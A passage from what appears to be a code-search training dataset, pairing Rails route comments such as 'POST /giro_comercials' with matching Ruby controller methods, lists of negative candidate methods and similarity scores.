"def create\n @giro_comercial = GiroComercial.new(giro_comercial_params)\n\n respond_to do |format|\n if @giro_comercial.save\n format.html { redirect_to @giro_comercial, notice: 'Giro comercial fue exitosamente creado.' }\n format.json { render :show, status: :created, location: @giro_comercial }\n else\n format.html { render :new }\n format.json { render json: @giro_comercial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @daw_curso_comunicados = DawCursoComunicado.all\n end",
"def index\n @ginasios = Ginasio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ginasios }\n end\n end",
"def index\n rol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"DN\" or rol.nombre == \"ACRM\"\n @colegiaturas = Colegiatura.all\n else\n @colegiaturas = Colegiatura.where(:sede_id=>current_user.sede)\n end \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegiaturas }\n end\n end",
"def index\n @contactable = find_contactable\n @contactos = @contactable.contactos\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @contactos }\n end\n end",
"def new\n @comic = Comic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comic }\n end\n end"
] | [
"0.6927469",
"0.6632712",
"0.6539626",
"0.64232063",
"0.6396955",
"0.63854396",
"0.63828397",
"0.63697755",
"0.63485634",
"0.63328975",
"0.6316884",
"0.6316884",
"0.63078624",
"0.6275185",
"0.6232466",
"0.6207229",
"0.61989796",
"0.61915636",
"0.61601925",
"0.61516684",
"0.6140652",
"0.61245024",
"0.61216503",
"0.6107962",
"0.61073685",
"0.6101397",
"0.6096361",
"0.60752004",
"0.604527",
"0.60382193"
] | 0.74337226 | 0 |
POST /giro_comercials POST /giro_comercials.json | def create
@giro_comercial = GiroComercial.new(giro_comercial_params)
respond_to do |format|
if @giro_comercial.save
format.html { redirect_to @giro_comercial, notice: 'Giro comercial fue exitosamente creado.' }
format.json { render :show, status: :created, location: @giro_comercial }
else
format.html { render :new }
format.json { render json: @giro_comercial.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @comida = Comida.new(comida_params)\n\n respond_to do |format|\n if @comida.save\n format.html { redirect_to @comida, notice: 'Comida was successfully created.' }\n format.json { render :show, status: :created, location: @comida }\n else\n format.html { render :new }\n format.json { render json: @comida.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trein_consul_comercial = TreinConsulComercial.new(trein_consul_comercial_params)\n\n respond_to do |format|\n if @trein_consul_comercial.save\n format.html { redirect_to @trein_consul_comercial, notice: 'Trein consul comercial was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trein_consul_comercial }\n else\n format.html { render action: 'new' }\n format.json { render json: @trein_consul_comercial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @daw_curso_comunicado = DawCursoComunicado.new(daw_curso_comunicado_params)\n\n respond_to do |format|\n if @daw_curso_comunicado.save\n format.html { redirect_to @daw_curso_comunicado, notice: 'Daw curso comunicado was successfully created.' }\n format.json { render :show, status: :created, location: @daw_curso_comunicado }\n else\n format.html { render :new }\n format.json { render json: @daw_curso_comunicado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @competicao = Competicao.new(params[:competicao])\n\n respond_to do |format|\n if @competicao.save\n format.html { redirect_to @competicao, notice: 'Competicao was successfully created.' }\n format.json { render json: @competicao, status: :created, location: @competicao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @competicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @commision = Commision.new(commision_params)\n\n respond_to do |format|\n if @commision.save\n format.html { redirect_to commisions_path, notice: 'Commision was successfully created.' }\n format.json { render :show, status: :created, location: @commision }\n else\n format.html { render :new }\n format.json { render json: @commision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @congresso = Congresso.new(congresso_params)\n\n respond_to do |format|\n if @congresso.save\n format.html { redirect_to @congresso, notice: 'Congresso was successfully created.' }\n format.json { render :show, status: :created, location: @congresso }\n else\n format.html { render :new }\n format.json { render json: @congresso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @comunity = Comunity.new(comunity_params)\n\n respond_to do |format|\n if @comunity.save\n format.html { redirect_to @comunity, notice: 'Comunity was successfully created.' }\n format.json { render :show, status: :created, location: @comunity }\n else\n format.html { render :new }\n format.json { render json: @comunity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pagetitle = \"New compro\"\n \n \n \n @company = Company.find(params[:compro][:company_id])\n @compro = Compro.new(compro_params)\n \n \n @locations = @company.get_locations()\n @divisions = @company.get_divisions()\n @transports = @company.get_transports()\n \n \n respond_to do |format|\n if @compro.save\n format.html { redirect_to(@compro, :notice => 'compro was successfully created.') }\n format.xml { render :xml => @compro, :status => :created, :location => @compro }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @compro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @colegio = Colegio.new(params[:colegio])\n\n respond_to do |format|\n if @colegio.save\n format.html { redirect_to @colegio, notice: 'El colegio fue creado satisfactoriamente.' }\n format.json { render json: @colegio, status: :created, location: @colegio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def giro_comercial_params\n params.require(:giro_comercial).permit(:nombre)\n end",
"def create\n @comic = Comic.new(comic_params)\n\n respond_to do |format|\n if @comic.save\n format.html { redirect_to root_path, notice: 'Comic was successfully created.' }\n format.json { redirect_to root_path, status: :created }\n else\n format.html { render :new }\n format.json { render json: @comic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @comite = Comite.new(comite_params)\n\n respond_to do |format|\n if @comite.save\n format.html { redirect_to @comite, notice: 'Comite was successfully created.' }\n format.json { render :show, status: :created, location: @comite }\n else\n format.html { render :new }\n format.json { render json: @comite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @comic = Comic.new(params[:comic])\n\n respond_to do |format|\n if @comic.save\n format.html { redirect_to @comic, notice: 'Comic was successfully created.' }\n format.json { render json: @comic, status: :created, location: @comic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @comic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @combustible = Combustible.new(combustible_params)\n\n respond_to do |format|\n if @combustible.save\n format.html { redirect_to combustibles_url, notice: 'Combustible Se creó correctamente.' }\n format.json { render :index, status: :created, location: @combustible }\n else\n format.html { render :new }\n format.json { render json: @combustible.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @compra = Compra.new(compra_params)\n @compra.remaining = @compra.cantidad\n @compra.code = Item.find(compra_params[:producto]).identificador\n respond_to do |format|\n if @compra.save\n format.html { redirect_to compras_path, notice: 'Compra was successfully created.' }\n format.json { render :show, status: :created, location: @compra }\n else\n format.html { render :new }\n format.json { render json: @compra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cio = Cio.new(cio_params)\n\n respond_to do |format|\n if @cio.save\n format.html { redirect_to @cio, notice: 'Cio cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @cio }\n else\n format.html { render :new }\n format.json { render json: @cio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @copropietario = Copropietario.new(copropietario_params)\n\n respond_to do |format|\n if @copropietario.save\n format.html { redirect_to @copropietario, notice: 'Copropietario was successfully created.' }\n format.json { render :show, status: :created, location: @copropietario }\n else\n format.html { render :new }\n format.json { render json: @copropietario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @especie_id = params[:especie_id]\n\n if @especie_id.present? && @especie_id != '0'\n begin\n @especie = Especie.find(@especie_id)\n end\n else\n @especie = 0\n end\n\n @comentario = Comentario.new(comentario_params.merge(especie_id: @especie_id))\n tipo_proveedor = params[:tipo_proveedor]\n proveedor_id = params[:proveedor_id]\n params = comentario_params\n\n respond_to do |format|\n if params[:con_verificacion].present? && params[:con_verificacion] == '1'\n if (verify_recaptcha(:model => @comentario, :message => t('recaptcha.errors.missing_confirm')) && @comentario.save) || (!Rails.env.production? && @comentario.save)\n\n if params[:es_respuesta].present? && params[:es_respuesta] == '1'\n comentario_root = @comentario.root\n @comentario.completa_info(comentario_root.usuario_id)\n\n # Enviar a los responsables de contenido si es que el usuario siguio la charla\n EnviaCorreo.avisar_responsable_contenido(@comentario, dame_usuarios_envio).deliver\n\n format.json {render json: {estatus: 1, created_at: @comentario.created_at.strftime('%d/%m/%y-%H:%M'),\n nombre: @comentario.nombre}.to_json}\n else\n # Para guardar en la tabla comentarios proveedores\n if proveedor_id.present? && CategoriasContenido::REGISTROS_GEODATA.include?(tipo_proveedor)\n comentario_proveedor = ComentarioProveedor.new\n comentario_proveedor.comentario_id = @comentario.id\n comentario_proveedor.proveedor_id = proveedor_id\n comentario_proveedor.save\n end\n\n EnviaCorreo.confirmacion_comentario(@comentario).deliver\n\n # No SÓLO aquí es donde hay q poner el envio a los responsables de contenido (también allá arriba cuando un usuario responde)\n EnviaCorreo.avisar_responsable_contenido(@comentario, dame_usuarios_envio).deliver if dame_usuarios_envio.present?\n \n format.html { redirect_to especie_path(@especie_id), notice: '¡Gracias! Tu comentario fue enviado satisfactoriamente y lo podrás ver en la ficha una vez que pase la moderación pertinente.' }\n end\n\n else\n # Hubo un error al enviar el formulario\n if params[:es_respuesta].present? && params[:es_respuesta] == '1'\n format.json {render json: {estatus: 0}.to_json}\n else\n format.html { render action: 'new' }\n end\n\n end\n\n # Para evitar el google captcha a los usuarios administradores, la respuesta siempre es en json\n else\n if params[:es_admin].present? && params[:es_admin] == '1' && @comentario.save\n if @comentario.root.general # Si es comentario general\n envia_correo(@comentario)\n else # Si fue un comentario en la plataforma de administración de comentarios (IMPORTANTE!!)\n EnviaCorreo.respuesta_comentario(@comentario).deliver\n end\n if usuario=@comentario.usuario\n nombre = usuario.nombre + usuario.apellido\n end\n created_at = @comentario.created_at.strftime('%d/%m/%y-%H:%M')\n format.json {render json: {estatus: 1, ancestry: \"#{@comentario.ancestry}/#{@comentario.id}\", nombre: nombre, created_at: created_at ||= '' }.to_json}\n else\n format.json {render json: {estatus: 0}.to_json}\n end\n\n end # end con_verificacion\n end # end tipo response\n end",
"def create\n @tipo_comunicacao = TipoComunicacao.new(tipo_comunicacao_params)\n\n respond_to do |format|\n if @tipo_comunicacao.save\n format.html { redirect_to @tipo_comunicacao, notice: 'Tipo comunicacao was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_comunicacao }\n else\n format.html { render :new }\n format.json { render json: @tipo_comunicacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @curso = Curso.new(curso_params)\n\n respond_to do |format|\n if @curso.save\n format.json { render json: \"Curso Creado\", status: :created }\n else\n format.json { render json: @curso.errors}\n end\n end\n end",
"def create\n\n @respuestum = Respuestum.new(respuestum_params)\n # @comentario = Comentario.find(params[:id])\n #nombre = params[:nombre]\n #correo = params[:correo]\n #comentario = params[:comentario]\n\n #@respuestum = Respuestum.create(:nombre => string, :correo => string, :descripcion => text,:comentario_id => @comentario.id)\n\n respond_to do |format|\n if @respuestum.save\n format.html { redirect_to comentarios_url}\n format.json { render :show, status: :created, location: @respuestum }\n else\n format.html { render :new }\n format.json { render json: @respuestum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def trein_consul_comercial_params\n params.require(:trein_consul_comercial).permit(:estatus, :data, :interessado_id)\n end",
"def comunity_params\n params.require(:comunity).permit(:rif, :cod_registro, :nombre, :direccion, :parish_id, :catastro, :sector)\n end",
"def create\n @secco = @curso.seccos.build(secco_params)\n\n respond_to do |format|\n if @secco.save\n format.html { redirect_to curso_secco_path(@curso, @secco), notice: 'Seccao was successfully created.' }\n format.json { render :show, status: :created, location: @secco }\n else\n format.html { render :new }\n format.json { render json: @secco.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @socio = Socio.new(params[:socio])\n\n respond_to do |format|\n if @socio.save\n format.html { redirect_to @socio, :notice => 'Socio cadastrado com sucesso.' }\n format.json { render :json => @socio, :status => :created, :location => @socio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @socio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @comentariox = Comentariox.new(params[:comentariox])\n\n respond_to do |format|\n if @comentariox.save\n format.html { redirect_to @comentariox, notice: 'Comentariox was successfully created.' }\n format.json { render json: @comentariox, status: :created, location: @comentariox }\n else\n format.html { render action: \"new\" }\n format.json { render json: @comentariox.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @comprobante = Comprobante.new(params[:comprobante])\n\n respond_to do |format|\n if @comprobante.save\n format.html { redirect_to @comprobante, notice: 'Comprobante was successfully created.' }\n format.json { render json: @comprobante, status: :created, location: @comprobante }\n else\n format.html { render action: \"new\" }\n format.json { render json: @comprobante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @colegiatura = Colegiatura.new(params[:colegiatura])\n\n respond_to do |format|\n if @colegiatura.save\n format.html { redirect_to @colegiatura, notice: 'Colegiatura was successfully created.' }\n format.json { render json: @colegiatura, status: :created, location: @colegiatura }\n else\n format.html { render action: \"new\" }\n format.json { render json: @colegiatura.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @carro = @patio.carros.new(carro_params)\n\n respond_to do |format|\n if @carro.save\n format.html { redirect_to [@unidade, @patio, @carro], notice: 'Carro was successfully created.' }\n format.json { render :show, status: :created, location: [@unidade, @patio, @carro] }\n else\n format.html { render :new }\n format.json { render json: @carro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:get]\n @plato = Plato.where(\"soda_id = ?\", params[:soda_id])\n\n #if !@plato.comentario.first.nil?\n # render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id], include: [comentario:{only: [:id]}])\n #else\n render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id])\n #end\n\n else\n @plato = Plato.new(plato_params)\n\n if @plato.save\n render json: @plato, status: :created, location: @plato\n else\n render json: @plato.errors, status: :unprocessable_entity\n end\n end\n\n end"
] | [
"0.6510093",
"0.64999366",
"0.6363631",
"0.63544685",
"0.6335549",
"0.6331438",
"0.63287914",
"0.6319697",
"0.6297642",
"0.6278621",
"0.6267741",
"0.62617725",
"0.62151945",
"0.6139281",
"0.6128127",
"0.6121866",
"0.6118009",
"0.6106976",
"0.6049679",
"0.6044875",
"0.60423356",
"0.6033034",
"0.6029538",
"0.60261554",
"0.6024454",
"0.6019801",
"0.6007474",
"0.5996574",
"0.59958136",
"0.5992359"
] | 0.7064435 | 0 |
PATCH/PUT /giro_comercials/1 PATCH/PUT /giro_comercials/1.json | def update
respond_to do |format|
if @giro_comercial.update(giro_comercial_params)
format.html { redirect_to @giro_comercial, notice: 'Giro comercial fue exitosamente editado.' }
format.json { render :show, status: :ok, location: @giro_comercial }
else
format.html { render :edit }
format.json { render json: @giro_comercial.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n respond_to do |format|\n if @trein_consul_comercial.update(trein_consul_comercial_params)\n format.html { redirect_to @trein_consul_comercial, notice: 'Trein consul comercial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trein_consul_comercial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n if @colegio.update_attributes(params[:colegio])\n format.html { redirect_to @colegio, notice: 'El Colegio fue actualizado satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n if @competicao.update_attributes(params[:competicao])\n format.html { redirect_to @competicao, notice: 'Competicao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @competicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @comisaria = Comisaria.find(params[:id])\n\n respond_to do |format|\n if @comisaria.update_attributes(params[:comisaria])\n format.html { redirect_to @comisaria, notice: 'Comisaria was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @comisaria.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @comida.update(comida_params)\n format.html { redirect_to @comida, notice: 'Comida was successfully updated.' }\n format.json { render :show, status: :ok, location: @comida }\n else\n format.html { render :edit }\n format.json { render json: @comida.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @comprobante = Comprobante.find(params[:id])\n\n respond_to do |format|\n if @comprobante.update_attributes(params[:comprobante])\n format.html { redirect_to @comprobante, notice: 'Comprobante was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @comprobante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @congresso.update(congresso_params)\n format.html { redirect_to @congresso, notice: 'Congresso was successfully updated.' }\n format.json { render :show, status: :ok, location: @congresso }\n else\n format.html { render :edit }\n format.json { render json: @congresso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n @pagetitle = \"Edit compro\"\n \n @compro = Compro.find(params[:id])\n\n respond_to do |format|\n if @compro.update_attributes(compro_params)\n format.html { redirect_to(@compro, :notice => 'compro was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @compro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @espacio_comun.update(espacio_comun_params)\n format.html { redirect_to @espacio_comun, notice: 'Espacio comun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @espacio_comun.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @complaint = Complaint.find(params[:id])\n\n if @complaint.update_attributes(params[:complaint])\n head :no_content\n else\n render json: @complaint.errors, status: :unprocessable_entity\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n respond_to do |format|\n if @doc_ponto_comer.update(doc_ponto_comer_params)\n format.html { redirect_to @doc_ponto_comer, notice: 'Doc ponto comer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @doc_ponto_comer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @caso.update_attributes(caso_params)\n format.html { redirect_to @caso, notice: 'Caso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @caso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n if @comentario.update_attributes(params[:comentario])\n format.html { redirect_to @comentario, notice: 'Comentario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @comentario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @socio_doc_fiscais_coring.update(socio_doc_fiscais_coring_params)\n format.html { redirect_to @socio_doc_fiscais_coring, notice: 'Socio doc fiscais coring was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @socio_doc_fiscais_coring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n if @comic.update_attributes(params[:comic])\n format.html { redirect_to @comic, notice: 'Comic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @comic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n client=Client.find_by_id params[:id]\n if client!= nil\n client.cedula=params[:cedula] ? params[:cedula]: client.cedula\n client.sector=params[:sector] ? params[:sector]: client.sector\n client.nombre=params[:nombre] ? params[:nombre]: client.nombre\n client.telefono=params[:telefono] ? params[:telefono]: client.telefono\n client.pagina=params[:pagina] ? params[:pagina]: client.pagina\n client.direccion=params[:direccion] ? params[:direccion]: client.direccion\n if client.save\n render(json: client, status: 201)\n end \n else\n render(json: client.errors, status: 404)\n end \n end",
"def update\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n if @consumo.update_attributes(params[:consumo])\n format.html { redirect_to @consumo.cliente, :notice => 'Consumo alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @consumo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @colaboration = Colaboration.find(params[:id])\n @colaboration.user_id=current_user.id\n\n respond_to do |format|\n if @colaboration.update_attributes(params[:colaboration])\n format.html { redirect_to @colaboration, notice: 'Colaboracion actualizada exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colaboration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @comprobante.update(comprobante_params)\n format.html { redirect_to @comprobante, notice: 'Comprobante was successfully updated.' }\n format.json { render :show, status: :ok, location: @comprobante }\n else\n format.html { render :edit }\n format.json { render json: @comprobante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cegreso.update(cegreso_params)\n format.html { redirect_to @cegreso, notice: 'Cegreso was successfully updated.' }\n format.json { render :show, status: :ok, location: @cegreso }\n else\n format.html { render :edit }\n format.json { render json: @cegreso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @compromise = Compromise.find(params[:id])\n\n respond_to do |format|\n if @compromise.update_attributes(params[:compromise])\n format.html { redirect_to @compromise, notice: 'Compromise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compromise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @copenometro.update(copenometro_params)\n format.html { redirect_to @copenometro, notice: 'Copenometro was successfully updated.' }\n format.json { render :show, status: :ok, location: @copenometro }\n else\n format.html { render :edit }\n format.json { render json: @copenometro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @curso = Curso.find(params[:id])\n\n respond_to do |format|\n if @curso.update_attributes(params[:curso])\n format.html { redirect_to(:back) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @curso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clientes_servico.update(clientes_servico_params)\n format.html { redirect_to @clientes_servico, notice: 'Clientes servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @clientes_servico.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.67927885",
"0.6603766",
"0.6526884",
"0.6371026",
"0.6370773",
"0.63246167",
"0.6311864",
"0.62800926",
"0.62597585",
"0.6238562",
"0.6230439",
"0.62255126",
"0.62074095",
"0.6204066",
"0.6201676",
"0.6198815",
"0.61985934",
"0.619811",
"0.6195477",
"0.61880594",
"0.6187494",
"0.6178799",
"0.61713314",
"0.61654633",
"0.61452633",
"0.6138303",
"0.6134393",
"0.6131363",
"0.61298937",
"0.612862"
] | 0.6842214 | 0 |
DELETE /giro_comercials/1 DELETE /giro_comercials/1.json | def destroy
@giro_comercial.destroy
respond_to do |format|
format.html { redirect_to giro_comercials_url, notice: 'Giro comercial fue exitosamente destruido.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @colegio = Colegio.find(params[:id])\n @colegio.destroy\n\n respond_to do |format|\n format.html { redirect_to colegios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @curso.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @comisaria = Comisaria.find(params[:id])\n @comisaria.destroy\n\n respond_to do |format|\n format.html { redirect_to comisarias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comida.destroy\n respond_to do |format|\n format.html { redirect_to comidas_url, notice: 'Comida was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comic = Comic.find(params[:id])\n @comic.destroy\n\n respond_to do |format|\n format.html { redirect_to comics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @central_correio = CentralCorreio.find(params[:id])\n @central_correio.destroy\n\n respond_to do |format|\n format.html { redirect_to central_correios_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def delete\n render json: Company.delete(params[\"id\"])\n end",
"def destroy\n @reconocimiento = Reconocimiento.find(params[:id])\n @reconocimiento.destroy\n\n respond_to do |format|\n format.html { redirect_to reconocimientos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comentariox = Comentariox.find(params[:id])\n @comentariox.destroy\n\n respond_to do |format|\n format.html { redirect_to comentarioxes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @comunne.destroy\r\n respond_to do |format|\r\n format.html { redirect_to comunnes_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @competicao = Competicao.find(params[:id])\n @competicao.destroy\n\n respond_to do |format|\n format.html { redirect_to competicoes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @relogio = Relogio.find(params[:id])\n @relogio.destroy\n\n respond_to do |format|\n format.html { redirect_to relogios_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @commtent1 = Commtent1.find(params[:id])\n @commtent1.destroy\n\n respond_to do |format|\n format.html { redirect_to commtent1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @doc_ponto_comer.destroy\n respond_to do |format|\n format.html { redirect_to doc_ponto_comers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datos_insumos_reactivo.destroy\n respond_to do |format|\n format.html { redirect_to datos_insumos_reactivos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @cio.destroy\n respond_to do |format|\n format.html { redirect_to cios_url, notice: 'Cio excluido.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @cargo_eleicao = CargoEleicao.find(params[:id])\n @cargo_eleicao.destroy\n\n respond_to do |format|\n format.html { redirect_to cargo_eleicaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @concurso = Concurso.find(params[:id])\n @concurso.destroy\n\n respond_to do |format|\n format.html { redirect_to concursos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comic.destroy\n respond_to do |format|\n format.html { redirect_to '/', notice: \"Comic \\\"#{@comic.name}\\\" was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ocorrencia.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencias_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @daw_curso_comunicado.destroy\n respond_to do |format|\n format.html { redirect_to daw_curso_comunicados_url, notice: 'Daw curso comunicado was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @socio_doc_fiscais_coring.destroy\n respond_to do |format|\n format.html { redirect_to socio_doc_fiscais_corings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @comite.destroy\n respond_to do |format|\n format.html { redirect_to comites_url, notice: 'Comite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @areco = Areco.find(params[:id])\n @areco.destroy\n\n respond_to do |format|\n format.html { redirect_to arecos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.7547217",
"0.7314999",
"0.7104706",
"0.708956",
"0.70444775",
"0.7014775",
"0.70100707",
"0.70060873",
"0.6986531",
"0.6983585",
"0.69822764",
"0.6973104",
"0.69728947",
"0.696977",
"0.6964299",
"0.69351906",
"0.6930172",
"0.69147706",
"0.69073176",
"0.6904887",
"0.69017684",
"0.68989277",
"0.6898808",
"0.68873364",
"0.6880791",
"0.6862909",
"0.68626404",
"0.6862201",
"0.6862038",
"0.6856714"
] | 0.7406541 | 1 |
POST /add_to_invoice_clients POST /add_to_invoice_clients.json | def create
@add_to_invoice_client = AddToInvoiceClient.new(add_to_invoice_client_params)
respond_to do |format|
if @add_to_invoice_client.save
